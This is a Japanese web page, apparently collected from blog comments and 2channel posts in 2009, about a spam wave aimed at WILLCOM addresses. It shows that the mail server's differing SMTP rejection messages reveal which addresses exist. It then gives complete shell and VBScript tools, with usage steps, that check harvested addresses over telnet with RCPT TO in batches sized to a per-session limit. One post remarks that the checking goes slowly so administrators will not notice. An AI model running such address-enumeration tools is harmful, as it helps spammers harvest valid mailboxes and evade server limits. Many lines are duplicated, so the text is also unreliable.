- ヘッダ情報のCcのアドレスが有効
→文字数が多いものや、辞書検索だとは思えないアドレスが多数
- URLにメールアドレスを識別するコードが含まれていない
→メールアドレスが有効かどうかを調べる必要がないほど信頼できるリストを用いてメールを送信している。
- *※メールサーバーのセキュリティ問題の可能性。(1)
ANOTHER WILLCOM NEWS | willcom.comアドレスに、迷惑メール多発中?
http://another.willcomnews.com/?eid=1008913
http://another.willcomnews.com/?eid=1008913
■ANOTHER WILLCOM NEWSのコメント欄より抜粋。
:(2009/12/24 10:00 AM)
@yahoo.co.jp を拒否った上で、試しにyahooからpdx.ne.jpにメール送信してみた。
存在しないメールアドレス宛だと、
Remote host said: 550 <******@pdx.ne.jp>: Recipient address rejected: User unknown
メールアドレスが存在していて、拒否設定だと、
host 10.214.6.132[10.214.6.132] said: 550 We failed
to deliver mail because the following address recipient ID refuse to
receive mail. ******@pdx.ne.jp (in reply to end of DATA command)
to deliver mail because the following address recipient ID refuse to
receive mail. ******@pdx.ne.jp (in reply to end of DATA command)
という感じで、サーバーが返すメッセージが違ってる…
拒否メッセージは、メールアドレスが存在しない場合と同じにする、ってのはセキュリティの基礎中の基礎なのに、そんなこともできてないって最低。
ウィルコムに抗議を入れる予定の人は、上記の点も指摘をお願いします。私は既に入れました。
silverwire:(2009/12/24 12:00 PM)
> 2009/12/24 10:00 AM
> 拒否メッセージはメールアドレスが存在しない場合と同じに...
やはりSMTPのセッションレベルでものを考えている人は違いますね。
私は今回の件があるまで全く知識が無かったのですが、いろいろと
調べていくうちに少しずつわかってきたような気がします。
私は今回の件があるまで全く知識が無かったのですが、いろいろと
調べていくうちに少しずつわかってきたような気がします。
SMTPサーバーの応答メッセージの例が載ったので、前のコメントで
書いたスクリプト化の話を少し。
書いたスクリプト化の話を少し。
手順をスクリプトにまとめたところ、12行と意外に短いものになり
ました。これに迷惑メールのCcに指定されたアドレスを加えること
で、以下のような出力を得ることができます。
ました。これに迷惑メールのCcに指定されたアドレスを加えること
で、以下のような出力を得ることができます。
250 Ok
550 <********@willcom.com>: Recipient address rejected: User unknown
550 <********@willcom.com>: Recipient address rejected: User unknown
上の行は実在するもの、下の行は実在しないものです。
# なお、VRFYはちゃんと無効になっていた点を付け加えておきます。
- *※メールサーバーのセキュリティ問題の可能性。(2)
WILLCOM ウィルコム 総合 382
http://gimpo.2ch.net/test/read.cgi/phs/1261565252/
http://gimpo.2ch.net/test/read.cgi/phs/1261565252/
■2ちゃんねんねる掲示板より抜粋。
870 名前:以下、名無しにかわりましてVIPがお送りします [sage] 投稿日:2009/12/28(月) 01:20:02 ID:XLi6rNfs0
この10日間でアドレスを変更した(可能性のある)人の割合を出して
みた。
この10日間でアドレスを変更した(可能性のある)人の割合を出して
みた。
以下は手順。
17日から27日までの迷惑メールを収集( 354個)
↓
その中からメールアドレス(@willcom.com)を抽出
↓
アルファベット順でソートし、重複しているものは除外
↓
スクリプトでSMTPサーバーに接続し、 RCPT TOを実行
↓
取得したログから終了ステータスが 550の行を抽出
↓
その中からメールアドレス(@willcom.com)を抽出
↓
アルファベット順でソートし、重複しているものは除外
↓
スクリプトでSMTPサーバーに接続し、 RCPT TOを実行
↓
取得したログから終了ステータスが 550の行を抽出
結果、 354個のうち79個が使われていなかった。
もちろん、かき集めたアドレスの中には元々存在しないもの (でた
らめなアドレス) やメールを受信拒否に設定している人がいること
も考えられるから、実際にはもう少し少ないかもしれない。
らめなアドレス) やメールを受信拒否に設定している人がいること
も考えられるから、実際にはもう少し少ないかもしれない。
もし、今回の件で 5人に 1人の人がメールアドレスを放棄したので
あれば、やはり影響は大きかったんだと思う。
あれば、やはり影響は大きかったんだと思う。
921 名前:870[sage] 投稿日:2009/12/28(月) 11:18:37 ID:htTHlRuE0
>>881 > 使われてないアドレスがわかるの?
正確ではないが、ある程度絞れると思う。
> 流出説を否定する要因になる?
ならない。漏れたものとランダムで生成したものとを合わせて検証
しているかもしれない。ただ、管理者に気づかれないよう、時間を
かけて確認していく必要がある。
しているかもしれない。ただ、管理者に気づかれないよう、時間を
かけて確認していく必要がある。
ちなみに、検証用のスクリプトは以下のような感じ。
#!/bin/sh -
{
echo 'OPEN ***.***.***.*** ***'
sleep 1
echo 'EHLO ********'
echo 'MAIL FROM:********@willcom.com'
for x in ********@willcom.com ... ; do
echo "RCPT TO:$x"
sleep 1
done
echo 'QUIT'
} | telnet
echo 'OPEN ***.***.***.*** ***'
sleep 1
echo 'EHLO ********'
echo 'MAIL FROM:********@willcom.com'
for x in ********@willcom.com ... ; do
echo "RCPT TO:$x"
sleep 1
done
echo 'QUIT'
} | telnet
922 名前:870[sage] 投稿日:2009/12/28(月) 11:19:53 ID:htTHlRuE0
で、今回の件が起きてからずっと誰が得するのか考えているんだが、
メールを送り続けている人間は言うまでもないとして、それを依頼
した人間はどういった目的でこの時期に始めたのだろう?
で、今回の件が起きてからずっと誰が得するのか考えているんだが、
メールを送り続けている人間は言うまでもないとして、それを依頼
した人間はどういった目的でこの時期に始めたのだろう?
事を起こした人物は迷惑メールをフィルターする機能が乏しいこと
に目をつけていたんじゃないかと思う。だから、騒動が長引くこと
を見越して、今こうしている間に他のことに仕掛かっているのかも
しれない。
に目をつけていたんじゃないかと思う。だから、騒動が長引くこと
を見越して、今こうしている間に他のことに仕掛かっているのかも
しれない。
あくまで邪推だけど、万一そうなら WILLCOMが今回の件に対処して
終わりというのは早計だろうな。
終わりというのは早計だろうな。
- *※メールサーバーのセキュリティ問題の可能性。(3)
メールアドレスを検証するスクリプトとその手順を挙げておきます。
UNIX, Linux用
Bourne Shellで書いたので、UNIX系のOSであれば大抵は動作すると
思います。
思います。
1. メールヘッダーを参照し、ToやCcに記載されているメールアド レスを収集する。 2. 収集したメールアドレスをテキスト形式のファイルに保存する。 e.g. aaaaaaaa@willcom.com ... zzzzzzzz@willcom.com ここではファイル名を .address とする。 3. スクリプトを実行する。スクリプトの引数には手順 1. で作成 したファイルのパスを指定する。 e.g. $ ./verify.sh .address スクリプトには実行権限を付与しておく。 4. スクリプトの実行が終了した後、カレントディレクトリにログ ファイルが作成されていることを確認する。 e.g. $ ls -ltr 5. ログファイルをもとに、現在使用されていないメールアドレス を抽出する。 e.g. $ grep '^550' verify.YYYYMMDDHHMISS 6. 収集したメールアドレスのうち、現在使用されていないものの 割合を算出する。 e.g. $ t=`grep '^550' verify.YYYYMMDDHHMISS | wc -l` $ x=`wc -l .address` $ echo "($x * 100) / $t" | bc 終了ステータスが 250の場合は成功、 550の場合はユーザーが 不明であることを意味する。
以下、スクリプトです。
#!/bin/sh - DATE=`date +'%Y%m%d%H%M%S'` EACH=20 HOST='***.***.***.***' # SMTPサーバーのIPアドレスは WILLCOMのサイトを参照 PORT='25' SELF=`basename $0 .sh` USER='xxxxxxxx' VRFY() { [ "$1" = '' -o "$2" = '' -o "$3" = '' ] && return 1 { echo "OPEN $1 $2" sleep 1 echo "EHLO $USER" echo "MAIL FROM:$USER@willcom.com" for s in $3; do echo "RCPT TO:$s" sleep 1 done echo 'QUIT' } | telnet 2>&1 return 0 } main() { i=0 l='' n=0 s='' t=0 [ "$1" = "" ] && { echo "Usage: $SELF FILE" 2>&1; return 1; } while read l; do s="$s$l " i=`expr $i + 1` echo -e '.\c' if [ $i -eq $EACH ]; then echo '' (VRFY "$HOST" "$PORT" "$s" | tee -a ./${SELF}.${DATE}) || return 1 s='' i=0 fi done < $1 if [ "$s" != "" ]; then echo '' (VRFY "$HOST" "$PORT" "$s" | tee -a ./${SELF}.${DATE}) || return 1 fi return 0 } main "$@"
以下、スクリプトの大まかな解説です。
サーバーからの応答を待つため、ところどころスリープしている。 プロトコルには ESMTPを利用しているので、EHLOを実行している。 VRFYはセキュリティ上無効に設定されているので、使用できない。 EHLOとMAIL FROM:には任意の値を指定すればよい。 RCPT TO:を実行する前にMAIL FROM:の実行を求められる。 RCPT TO:の実行回数は20回に制限されているようなので、20回実行 する度にセッションを終了し、再接続している。
Windows用
Windows のtelnet.exeはいろいろと不便な点があって、スクリプト
の出来もイマイチですが、参考まで。
の出来もイマイチですが、参考まで。
e.g. C:\...>cscript //nologo verify.vbs ***.***.***.*** 25 .address
Option Explicit Dim DATE Dim FILE Dim HOST Dim PORT Dim SELF Dim USER Dim F_ Dim S_ Dim f Dim i Dim l Dim t SELF = Split(WScript.ScriptName, ".")(0) t = Now() DATE = Year(t) _ & Right("0" & Month(t) , 2) _ & Right("0" & Day(t) , 2) _ & Right("0" & Hour(t) , 2) _ & Right("0" & Minute(t), 2) _ & Right("0" & Second(t), 2) If WScript.Arguments.Count <> 3 Then WScript.Echo("Usage: " & SELF & " HOST PORT FILE") WScript.Quit(1) End If For i = 0 to WScript.Arguments.Count - 1 If WScript.Arguments(i) = "" Then WScript.Echo("パラメーターが不足しています。") WScript.Quit(1) End If Next HOST = WScript.Arguments(0) PORT = WScript.Arguments(1) FILE = WScript.Arguments(2) USER = "xxxxxxxx" ' ファイルをオープン Set F_ = WScript.CreateObject("Scripting.FileSystemObject") Set f = F_.OpenTextFile(FILE, 1) If Err.Number <> 0 Then WScript.Echo("ファイルが存在しません。") WScript.Quit(1) end if ' メールアドレスが有効か検証 set S_ = WScript.CreateObject("WScript.Shell") S_.AppActivate "VRFY" S_.SendKeys "C:\WINDOWS\system32\telnet.exe -f " & SELF & "." & DATE & "~" WScript.Sleep(1000) ' S_.SendKeys "set CODESET Japanese EUC~" WScript.Echo("SMTPサーバーに接続します。") S_.SendKeys "OPEN " & HOST & " " & PORT & "~" WScript.Sleep(1000) WScript.Echo("セッションを開始します。") S_.SendKeys "EHLO " & USER & "~" S_.SendKeys "MAIL FROM:" & USER & "@willcom.com~" WScript.Echo("メールアドレスが有効か検証します。") Do Until f.AtEndOfStream = true l = f.ReadLine WScript.Echo(l) S_.SendKeys "RCPT TO:" & l & "~" WScript.Sleep(1000) Loop WScript.Echo("セッションを終了します。") S_.SendKeys "QUIT~" WScript.Sleep(1000) S_.SendKeys "~" S_.SendKeys "quit~" F_.Close() ' メモリリソースを解放 Set S_ = Nothing Set F_ = Nothing Set f = Nothing WScript.Quit(0)